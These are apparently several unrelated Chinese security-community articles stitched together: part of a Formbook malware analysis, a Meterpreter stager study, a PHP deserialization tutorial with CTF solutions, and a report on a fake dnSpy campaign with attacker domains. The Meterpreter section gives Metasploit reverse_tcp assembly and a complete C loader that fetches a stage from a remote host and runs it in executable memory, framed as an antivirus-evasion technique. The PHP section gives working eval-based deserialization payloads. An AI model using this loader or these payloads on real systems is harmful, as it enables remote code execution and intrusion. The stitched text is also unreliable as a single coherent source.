8b ff mov edi, edi
55 push ebp
8b ec mov ebp, esp
e8 00 00 00 00 call 0x00000000 ; immediate value to be patched
随后，调用的操作数会根据Formbook调用formbook_main_migrated()的指令的相对偏移量进行修正。
下面让我们看一个实际的例子，我们随机选择的进程是wuauclt.exe：
通过WinDBG和CFF Explorer，我们可以发现：
进程wuauclt.exe的映像基址是0x00060000；
进程wuauclt.exe入口点的相对地址是0x5891；
Formbook已经在位于0x00160000的wuauclt.exe中被映射；
用于调用formbook_main_migrated()的Formbook指令位于0x17b73d；
Formbook的函数formbook_main_migrated()位于0x177eb0。
通过将来自wuauclt修补后入口点（0x60000+0x5891+10）的调用指令后面的地址添加到调用指令（0x00115ea2）的操作数中，我们可以看到调用的目标是Formbook用于调用formbook_main_migrated()的指令：
>>> hex((0x6589b+0x115ea2)&0xffffff)
'0x17b73d'
最后，在修补挂起进程的入口点之后，执行对NtResumeThread()的调用，并且Formbook开始在迁移进程中执行formbook_main_migrated()。原始的Formbook进程可以通过调用ExitProcess()来停止执行。
## 四、注入目标应用程序
一旦Formbook在新创建的Windows进程中成功迁移，它就可以针对包含敏感信息的应用程序进行窃取操作。在无限循环内（没有连接调试器的情况下），它会尝试查找进程名称的哈希值，与哈希数组进行匹配（从偏移量120到211）。根据解密后的哈希列表，我们发现该恶意软件可以捕获不同类型的应用程序，例如Web浏览器、邮件程序、即时消息应用程序、FTP客户端甚至是Skype语音通话软件：
120 0x9e01fc32 iexplore.exe
121 0x216500c2 firefox.exe
122 0x48e207c9 chrome.exe
123 0x2decf13e microsoftedgecp.exe
..
..
173 0x84f8d766 foxmail.exe
174 0xb6494f65 incmail.exe
175 0x13a75318 thunderbird.exe
..
178 0x6b8a0df3 yahoomessenger.exe
179 0x9c02f250 icq.exe
180 0xe52a2a2e pidgin.exe
..
196 0xea653007 filezilla.exe
..
211 0xcb591d7f skype.exe
目前，我们还没有深入分析该恶意软件的这一部分，但其所使用的代码注入技术与本文中讲解的内容类似。根据目标进程的不同，Formbook会将自身映射到目标进程之中，并选择使用线程劫持或APC注入的方式来执行不同类型的例程。 | 社区文章 |
### 0x00 前言
**meterpreter是metsploit下的一个工具，是metsploit后渗透必不可少的，它具有强大的功能，包括socks代理，端口转发，键盘监听等多个功能，meterpreter可以说是内网渗透测试神器。**
由于meterpreter_loader的加载有些问题，想自己改一下这个loader，并且自己也在写相关的工具，所以就对meterpreter进行了研究，一窥meterpreter的究竟。
### 0x01 meterpreter分析
meterpreter使用了大量的反射dll注入技术，meterpreter使用的反射dll不会在磁盘上留下任何文件，直接是载入内存的，所以有很好的躲避杀软的效果，但是meterpreter的stager文件就不太好过杀软了，一般来说都是做免杀处理，所以为了有更好的免杀效果和可移植性，我们自己来写stager是有那么点必要的。
在metasploit里面,payloads简单可以分为三类:single,stager,stage.作用分别是single,实现单一,完整功能的payload,比如说bind_tcp这样的功能;stager和stage就像web入侵里面提到的小马和大马一样,由于exploit环境的限制,可能不能一下子把stage传过去,需要先传一个stager,stager在attacker和target之间建立网络连接,之后再把stage传过去进行下一步的行动。Reflective
DLL
Injection就是作为一个stage存在。也即是说,你已经有了和target之间的连接会话,你可以传送数据到target上，之后meterpreter与target之间的交互就都是和发送过去的反射dll进行交互。(在这里说个题外话，现在已经有杀软能够检测反射DLL的注入了，通过行为和内存，所以这种方式也不是特别好了，目前有种新技术就是直接执行远程主机的PE文件函数，根本不给杀软检测机会，这种技术我们以后再说。)
当你已经获得了target上的shellcode执行权限,你的shellcode能够接收数据,写入内存并移交控制权(EIP)。
下面看一下metasploit的meterpreter的payload。
require 'msf/core/payload/windows/meterpreter_loader'
require 'msf/base/sessions/meterpreter_x86_win'
require 'msf/base/sessions/meterpreter_options'
module MetasploitModule
include Msf::Payload::Windows::MeterpreterLoader
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Meterpreter (Reflective Injection)',
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
'Author' => ['skape', 'sf', 'OJ Reeves'],
'PayloadCompat' => { 'Convention' => 'sockedi handleedi http https'},
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_x86_Win
))
end
end
这里他调用了meterpreter_loader.rb文件，在meterpreter_loader.rb文件中又引入了reflective_dll_loader.rb文件，reflective_dll_loader.rb主要是获取ReflectiveLoader()的偏移地址，用于重定位使用，没有什么可分析的。我们来到这个文件里reflectivedllinject.rb，这个文件主要是修复反射dll的，meterpreter_loader.rb文件主要是用于自身模块使用，修复dll和读取payload的长度的。
我们定位/lib/msf/core/payload/windows/reflectivedllinject.rb
文件,这种修复方式在metsploit的高版本已被更新，新增的只是实现的技术上的简化，我们暂不关注。
require 'msf/core'
require 'msf/core/reflective_dll_loader'
module Msf
module Payload::Windows::ReflectiveDllInject
include Msf::ReflectiveDLLLoader
include Msf::Payload::Windows
def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective DLL Injection',
'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ],
'References' => [
[ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ], # original
[ 'URL', 'https://github.com/rapid7/ReflectiveDLLInjection' ] # customisations
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
'Stage' => { 'Payload' => "" }
))
register_options( [ OptPath.new( 'DLL', [ true, "The local path to the Reflective DLL to upload" ] ), ], self.class )
end
def library_path
datastore['DLL']
end
def asm_invoke_dll(opts={})
asm = %Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
push edi ; push the socket handle
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; indicate that we have detached
push eax ; push some arbitrary value for hInstance
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
^
end
def stage_payload(opts = {})
# Exceptions will be thrown by the mixin if there are issues.
dll, offset = load_rdi_dll(library_path)
asm_opts = {
rdi_offset: offset,
exitfunk: 'thread' # default to 'thread' for migration
}
asm = asm_invoke_dll(asm_opts)
# generate the bootstrap asm
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!"
end
# patch the bootstrap code into the dll's DOS header...
dll[ 0, bootstrap.length ] = bootstrap
dll
end
end
end
这里主要关注的有2个参数
> offset：ReflectiveLoader()的偏移地址
>
> exitfunk：dll的退出函数地址
这2个参数是dll执行的关键，下面我们来分析下DOS头patch的代码。DOS头是可以被修改的，它只不过是微软为了兼容16位汇编而存在的产物，几乎没有什么用。
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x????????)
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
push edi ; push the socket handle
push 4 ; indicate that we have attached
push eax ; push some arbitrary value for hInstance
mov ebx, eax ; save DllMain for another call
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
; push the exitfunk value onto the stack
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
push 5 ; indicate that we have detached
push eax ; push some arbitrary value for hInstance
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
meterpreter使用的dll是metsrv.dll（metsrv.dll分为x86和x64），程序在metsrv.dll里面写入Bootstrap,同时定位ReflectiveLoader()的地址,硬编码写入Bootstrap里面,同时加入退出函数的地址。
这里有一个问题，如果将Bootstrap直接写入dll的头部是会破坏dll这个文件的结构（也就是PE结构），使之无法成为正常的PE文件，所以这里就用了一个技巧，
MZ标志可以拿来做指令，dec ebp和pop
edx,这两条指令的16进制刚好是MZ的ascii码,所以之后再加上其他相关代码，就可以不破坏DOS头的情况下对DOS头进行修改。
> "/x4D" # dec ebp ; M
>
> "/x5A" # pop edx ; Z
像call和jmp+立即数的指令,立即数的计算都是(目标地址 - (当前地址 + 5)),
> call $+5 ; call next instruction
在Bootstrap中完成代码重定向工作.看下Bootstrap的生成代码
> add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
其中的rdi_offset是Metsrv.dll编译好之后,ReflectiveLoader()函数在文件中的RVA相对虚拟地址,相对虚拟地址需要加上基址才是真实地址,这条指令里文件头部的偏移是7,只要将这个地址减去7那就是基址了,有了基址,加上RVA就得到了ReflectiveLoader()的地址了,有了地址直接call过去就完事了,ReflectiveLoader()没有参数,返回值是DlMain()的地址。
> push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
这个地方就是退出函数地址了exitfunk，DLL的退出主要分3种[‘THREAD’，‘PROCESS’，‘SEH’，['SLEEP']]，
> push, edi
edi是socket的值用来接收meterpreter过来的套接字用的,也就是用于保存套接字的。
stager loader执行流程
> 1.loader转移EIP到dll的文件头
>
> 2.dll进行重定位
>
> 3.计算ReflectiveLoader()地址
>
> 4.调用ReflectiveLoader()
>
> 5.得到DllMain()地址(前面调用的返回值)
>
> 6.调用DllMain(),循环直到attacker退出
>
> 7.第二次调用DllMain(),此时按退出函数安全退出.
ReflectiveLoader()的具体实现过程:
> 1.首先需要获取三个关键函数的地址.
>
> 2.分配一块内存,把dll复制过去,不是一下子全部复制,而是分开头部和各个区块.
>
> 3.处理IAT,再处理重定向表.
>
> 4.使用DLL_PROCESS_ATTACH调用一次DllMain().
>
> 5.返回DllMain()的地址供Bootstrap调用.
好了，大概DOS头和DLL的处理就是这样，下面来看看metrepreter具体的交互过程。
### 0x02 Loader的执行分析
首先，我们监听meterpreter，在本地对meterpreter进行连接，当连接上后，meterpreter会发送修复后的dll过来，我们把它给存储起来。
我们打开保存的meterpreter发送过来的dll文件。
我们看到这个不是正常的PE文件，前面多了一个4字节的内容2E840D00，这4字节的内容其实就是缓冲区的大小，用于运行dll的大小空间，可以自行修改。随后就是熟悉的DOS头部，这个与原始的DLL文件头部不一致，我们可以来对比一下。
可以看到发送过来的DLL文件的DOS头的前37字节被修改了，前文已经说了，DOS头是可以被修改的，DOS头的大小为60字节，熟悉PE结构的朋友应该知道，随后就是PE头的定位地址，一般来讲PE头就在附近，地址一般不会超过2个字节，所以这个时候DOS头能被修改的字节就为DOS头加上2个字节的PE定位地址等于62个字节，剩下的就是2个字节的PE定位地址。
我们可以看下文件代码，事实meterpreter动的手脚就是这个。
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
if bootstrap.length > 62
raise RuntimeError, "Reflective DLL Injection (x86) generated an oversized bootstrap!
end
我们抓包可以看到，meterpreter与本机建立连接后，分了两次发送DLL文件（其实是多次，只是第一次发送的并不是DLL文件而已），第一次发送了4字节缓冲区大小，也就是2E840D00。
第二次就是发送重定位后的dll文件了，一次肯定是发送不完了，所以分了多次发送。
根据上面分析得到的信息，我们可以断定loader的执行流程为
> 1.首先接收4字节缓冲区大小
>
> 2.开辟内存
>
> 3.把我们的socket里的值复制到缓冲区中去
>
> 4.读取字节到缓冲区
>
> 5.执行DLLMain
>
> 6.退出
### 0x03 loader构造
以上分析证明流程确实这样的，可能与原来程序会有出入。
我们来看看原来程序源码
文件lib\msf\core\payload\windows\reverse_tcp.rb
.........省略无关代码
reverse_tcp:
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
push 'ws2_' ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
set_address:
push #{retry_count} ; retry counter
create_socket:
push #{encoded_host} ; host in little-endian format
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save pointer to sockaddr struct
push eax ; if we succeed, eax will be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
try_connect:
push 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz connected
handle_connect_failure:
; decrement our attempt count and try again
dec dword [esi+8]
jnz try_connect
.........省略无关代码
recv:
; Receive the size of the incoming second stage...
push 0 ; flags
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
.........省略无关代码
; Alloc a RWX buffer for the second stage
mov esi, [esi] ; dereference the pointer to the second stage length
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
push ebx ; push the address of the new stage so we can return into it
read_more:
push 0 ; flags
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );
.........省略无关代码
read_successful:
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, will set flags
jnz read_more ; continue if we have more to read
ret ; return into the second stage
所以，用利用得到的信息，我们来构建loader
模拟loader载荷程序reverse_tcp
/*
*初始化INIT socket
*/
void winsock_init() {
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) < 0) {
printf("ws2_32.dll is out of date.\n");
WSACleanup();
exit(1);
}
}
建立一个SOCK报错函数，如果报错，我们就关闭连接
void punt(SOCKET my_socket, char * error) {
printf("Sorry : %s\n", error);
closesocket(my_socket);
WSACleanup();
exit(1);
}
建立一个连接函数my_connect()
/* 建立与主机的连接：端口*/
SOCKET my_connect(char * targetip, int port) {
struct hostent * target;
struct sockaddr_in sock;
SOCKET my_socket;
/* 设置我们的套接字 */
my_socket = socket(AF_INET, SOCK_STREAM, 0);
if (my_socket == INVALID_SOCKET)
punt(my_socket, "[-] Could not initialize socket");
/* 我们的目标，获取主机名 */
target = gethostbyname(targetip);
if (target == NULL)
punt(my_socket, "[-] Could not get target");
/* 创建sock信息，包括远程IP，PORT*/
memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
/* 尝试连接 */
if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
punt(my_socket, "[-] Could not connect to target");
return my_socket;
}
因为，第一次不是获取DLL文件的，而是获取4字节缓冲区内存大小的，所以接收数据要分几次，一次是接收不完数据的，最好是创建一个专门的函数来接收。
/* 尝试从套接字接收所有请求的数据。 */
int recv_all(SOCKET my_socket, void * buffer, int len) {
int tret = 0;
int nret = 0;
void * startb = buffer;
while (tret < len) {
nret = recv(my_socket, (char *)startb, len - tret, 0);
startb += nret;
tret += nret;
if (nret == SOCKET_ERROR)
punt(my_socket, "Could not receive data");
}
return tret;
}
下面就是主函数了
//主函数
int main(int argc, char * argv[]) {
ULONG32 size;
char * buffer;
//创建函数指针，方便XXOO
void (*function)();
winsock_init(); //套接字初始化
//获取参数，这里随便写，接不接收无所谓，主要是传递远程主机IP和端口
//这个可以事先定义好
if (argc != 3) {
printf("%s [host] [port] ^__^ \n", argv[0]);
exit(1);
}
/*连接到处理程序，也就是远程主机 */
SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));
/* 读取4字节长度
*这里是meterpreter第一次发送过来的
*4字节缓冲区大小2E840D00，大小可能会有所不同,当然也可以自己丢弃，自己定义一个大小
*/
//是否报错
//如果第一次不是接收的4字节那么就退出程序
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
punt(my_socket, "read length value Error\n");
/* 分配一个缓冲区 RWX buffer */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
punt(my_socket, "could not alloc buffer\n");
/*
*SOCKET赋值到EDI寄存器，装载到buffer[]中
*/
//mov edi
buffer[0] = 0xBF;
/* 把我们的socket里的值复制到缓冲区中去*/
memcpy(buffer + 1, &my_socket, 4);
/* 读取字节到缓冲区
*这里就循环接收DLL数据，直到接收完毕
*/
count = recv_all(my_socket, buffer + 5, size);
/* 将缓冲区作为函数并调用它。
* 这里可以看作是shellcode的装载，
* 因为这本身是一个DLL装载器，完成使命，控制权交给DLL，
* 但本身不退出，除非迁移进程，靠DLL里函数，DLL在DLLMain里是循环接收指令的，直到遇到退出指令，
* (void (*)())buffer的这种用法经常出现在shellcode中
*/
function = (void (*)())buffer;
function();
return 0;
}
执行效果图
### 0x04 结语
在对meterpreter的分析中，发现了很多特别的利用方式和shellcode编写方法。了解了执行原理，以至于我们可以自己来构造接收meterpreter的攻击载荷，修改其执行代码，达到免杀的效果；再者，我们可以自己特别定制任何载荷loader，不再使用meterpreter提供的载荷loader了。
### 参考链接：
<https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html>
<http://blog.csdn.net/gaara_fan/article/details/6528359>
<http://www.docin.com/p-800847451.html> | 社区文章 |
之前web一直被PHP反序列化的一些问题困扰，现在痛定思痛，决定好好的总结一番(大佬请略过)
一般反序列化能用的例子都是利用了PHP中的一些可以自动调用的特殊函数，类似于C++中的构造函数之类的，不需要其他函数调用即可自动运行。通常称这些函数为魔幻函数，常用的魔幻函数包括
**construct(),** destruct(), **sleep(),** wakeup(), **toString().
首先我们以**construct()为例，测试一下其自动执行情况。
<?php
class example
{
var $xxx='hahahaha';
function __construct(){
echo($this->xxx);
}
}
$test=new example();
echo serialize($test);
?>
我们在函数中定义了一个example类，然后用new新建了一个example对象，在新建对象的时候，其中的魔幻函数__construct()自动执行，echo输出了$xxx的值，同时在代码的最后一段，我们调用了序列化函数，将test对象给序列化。
这里提一下，序列化函数和反序列化函数。所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。
序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。为了能够unserialize()一个对象，这个对象的类必须已经定义过。如果序列化类A的一个对象，将会返回一个跟类A相关，而且包含了对象所有变量值的字符串。
不懂的朋友可以参考一下[PHP手册](http://php.net/manual/zh/language.oop5.serialization.php)
首先我们要确定一点，利用反序列化漏洞的有两个条件
1.unserialize()函数的参数可控
2.php中有可以利用的类并且类中有魔幻函数
接下来实验一下第一个比较有意思的例子。
## test.php
<?php
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
?>
在这个例子中，我们创建了一个example类一个process类，example类中有一个变量$handle，一个魔幻函数__destruct()，魔幻函数中调用了函数funnnn，然而根据funnnn中的函数显示，变量handle调用了prcocess类的方法，这说明handle变量是一个process类的实例对象。
再看代码，发现我们需要通过get方法输入的是一个data值，而且data值在传递进去之后，会先被反序列化一下，之前我们说过，序列化只会保存对象的所有变量，现在我们的目标就很明确了。
1.必须让handle变量是一个process类的实例化对象
2.由于process中的close()函数是eval执行语句，所以handle中的pid就可以是我们想要执行的语句，然后我写了一个shell.php，构造出了可以利用的handle，代码如下。
## shell.php
<?php
class example
{
public $handle;
function __construct(){
$this->handle=new process();
}
}
class process{
public $pid;
function __construct(){
$this->pid='phpinfo();';
}
}
$test=new example();
echo serialize($test);
?>
执行这个代码，得到payload如下
首先解释一下这个payload，他表示这一串序列化中，有一个example对象，其中包含一个变量handle，handle又是一个process类的实例，其中包含一个pid变量，其值为phpinfo();然后我们将payload打入test.php查看效果发现执行成功，得到了phpinfo()的信息，如下图:
这里我们将test.php中的 **destruct()改为** wakeup()也可以，因为__wakeup函数是在反序列化是自动调用的函数，实验一下。
## test1.php
<?php
class example
{
public $handle;
function __wakeup(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
?>
还是运行shell.php执行产生的payload，得到了预期结果。
这里以一道CTF题目为例子，加深一下印象。题目前一部分是利用php协议，最后取得flag需要用到php反序列化漏洞，这里我只说明一下反序列化的漏洞。
[题目地址](http://123.206.87.240:8006/test1/)
我们最终得到的题目源php代码为
## hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
## index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf"))
{ echo "hello friend!<br>";
if(preg_match("/flag/",$file))
{
echo "不能现在就给你flag哦";
exit();
}
else{
include($file);
$password = unserialize($password);
echo $password; }
}
else{
echo "you are not the number of bugku ! "; }
?>
首先要注意：
1.password变量最初是一个序列化的，而且还应该是一个Flag类的实例
2.flag在flag.php里面
3.Flag类中有魔幻函数，index.php中unserialize函数参数可控
于是我们构造payload：O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}，反序列化之后，password是一个Flag类的实例，有一个file变量，内容为flag.php。当index.php对password执行echo操作时，会自动触发Flag类中的__tostring()函数，然后通过echo
file_get_contents($this->file)输出flag.php里面的内容，最终结果如下：
## PHP session反序列化
最开始接触session类型是有一次打CTF比赛的时候，jarvis
oj上面的一道题目。[题目链接](http://web.jarvisoj.com:32784/)
进来之后，发现题目给了一个php代码:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
刚开始的看的时候，我也不太懂，但是根据提示，应该是PHP反序列化漏洞问题。google了一下ini_set('session.serialize_handler',
'php')，发现是PHPsession的序列化和反序列化问题，出题人应该是根据我找到的参考2的漏洞报告出的题，接下来我们分析这个题目。
php提供了 session.serialize_handler 配置选项，设置该选项可以选择序列化问题使用的处理器，常用的处理器有三种：
然后我尝试查看了一下本题服务器的php版本，发现能够查看，而且发现其默认的session.serialize_handler为
php_serialize，这与本题中php代码第一行就设置的session.serialize_handler为php不符合。
我们先测试一下php和php_serialize的区别，测试代码
<?php
ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION["test"]=$_GET["t"];
?>
输出的结果 php_serialize为t:1:{s:4:"test";s:4:"1111";} php的结果为test|s:4:"1111";
所以我们看到，如果我们的$_SESSION['ceshi']=''|O:8:"students":0:{}';'
那么当我们用php_serialize存储时候，他会是a:1:{s:5:"测试";s:20:"|O:8:"students":0:{}";}
然后当我们用php进行读取的时候，反序列化的结果会是
array(1) {
["a:1:{s:5:"ceshi";s:20:""]=>
object(students)#1 (0) {
}
}
我们通过|伪造对象的序列化数据，成功实例化了students对象。
对于本题，我们没有上传点，但是通过参考2，且查看本题的session.upload_progress.enabled为On
所以我们需要构造一个html页面
<!DOCTYPE html>
<html>
<head>
<title>test XXE</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!--
不对字符编码-->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="go" />
</form>
</body>
</html>
然后构造payload:
<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$test = new OowoO();
$x = serialize($test);
var_dump($x);
?>
得到payload:
然后通过修改的html抓包，改filename,先扫描一下目录
修改payload，得到flag，此题为php session反序列化漏洞的一个典型例子
参考:
1.<https://blog.csdn.net/csu_vc/article/details/78375203>
2.<https://gist.github.com/chtg/f74965bfea764d9c9698> | 社区文章 |
**作者：liuchuang@360高级攻防实验室
原文链接：<http://blog.noah.360.net/fake-dnspy-when-hackers-have-no-martial-ethics/>**
## 前景提要
dnSpy是一款流行的用于调试，修改和。反编译.NET程序的工具。网络安全研究人员在分析 .NET 程序或恶意软件时经常使用。
2022 年1月8日， [BLEEPING
COMPUTER](https://www.bleepingcomputer.com/news/security/trojanized-dnspy-app-drops-malware-cocktail-on-researchers-devs/) 发文称，
有攻击者利用恶意的dnSpy针对网络安全研究人员和开发人员发起了一次攻击活动。[@MalwareHunterTeam](https://twitter.com/malwrhunterteam/status/1479767752885874688)
发布推文披露了分发恶意dnSpy编译版本的Github仓库地址，该版本的dnSpy后续会安装剪切板劫持器， Quasar RAT， 挖矿木马等。
查看 dnSpy 官方版的 Git，发现该工具处于Archived状态，在2020年就已经停止更新，并且没有官方站点。
攻击者正是借助这一点，通过注册 dnspy[.]net 域名， 设计一个非常精美的网站， 来分发恶意的dnSpy 程序。
同时购买Google搜索广告， 使该站点在搜索引擎的结果排名前列，以加深影响范围。
截止 2022 年 1 月 9 日， 该网站已下线
## 样本分析
dnspy[.]net 下发的为 dnSpy 6.1.8 的修改版，该版本也是官方发布的最后一个版本。
通过修改dnSpy核心模块之一的dnSpy.dll入口代码来完成感染。
dnSpy.dll正常的入口函数如下:
修改的入口添加了一个内存加载的可执行程序
该程序名为dnSpy Reader
并经过混淆
后续会通过mshta下发一些挖矿，剪切板劫持器，RAT等
#### Github
攻击者创建的两个 github 分别为:
* https[:]//github[.]com/carbonblackz/dnSpy
* https[:]//github[.]com/isharpdev/dnSpy
其中使用的用户名为:isharpdev 和 `carbonblackz`，请记住这个名字待会儿我们还会看到它
## 资产拓线
通过对dnspy[.]net的分析，我们发现一些有趣的痕迹进而可对攻击者进行资产拓线：
#### dnspy.net
域名 dnspy[.]net 注册时间为2021年4月14日。
该域名存在多个解析记录， 多数为 Cloudflare 提供的 cdn 服务， 然而在查看具体历史解析记录时，我们发现在12月13日-01月03日该域名使用的IP为`45.32.253[.]0` ， 与其他几个Cloudflare CDN服务的IP不同，该IP仅有少量的映射记录。
查询该IP的PDNS记录， 可以发现该IP映射的域名大多数都疑似为伪造的域名， 且大部分域名已经下线。
这批域名部分为黑客工具/办公软件等下载站点，且均疑似为某些正常网站的伪造域名。
以及披露事件中的dnspy.net域名， 基于此行为模式，我们怀疑这些域名均为攻击者所拥有的资产，于是对这批域名进行了进一步的分析。
#### 关联域名分析
以 **toolbase[.]co** 为例， 该域名历史为黑客工具下载站点， 该网站首页的黑客工具解压密码为 “`CarbonBlackz`”，
与上传恶意 dnspy 的 Github 用户之一的名字相同。
该站点后续更新页面标题为 Combolist-Cloud ， 与`45.32.253[.]0`解析记录中存在的 **combolist.cloud**
域名记录相同， 部分文件使用 mediafire 或 gofile 进行分发。
该域名疑似为combolist[.]top的伪造站点， combolist[.]top 是一个提供泄露数据的论坛。
**torfiles[.]net** 也同样为一个软件下载站。
**Windows-software[.]co** 以及 **windows-softeware[.]net** 均为同一套模板创建的下载站。
**shortbase[.]net** 拥有同 **dnspy[.]net** 一样的CyberPanel安装页面.且日期均为2021年12月19日。
下图为 **dnspy[.]net** 在WaybackMachine记录中的CyberPanel的历史安装页面。
**coolmint[.]net** 同样为下载站， 截止 2022 年1月12日依然可以访问.但下载链接仅仅是跳转到 **mega[.]nz**
**filesr[.]net** 与 **toolbase[.]co** 为同一套模板
此站点的`About us` 都未做修改，
该页面的内容则是从FileCR[.]com的About us页面修改而来
**filesr[.]net** 的软件使用dropbox进行分发，但当前链接均已失效
最后是 **zippyfiles[.]net** ， 该站点为黑客工具下载站
我们还在reddit上发现了一个名为`tuki1986`的用户两个月前一直在推广 **toolbase[.]co** 及
**zippyfiles[.]net** 站点。
该用户在一年前推广的网站为 **bigwarez[.]net**
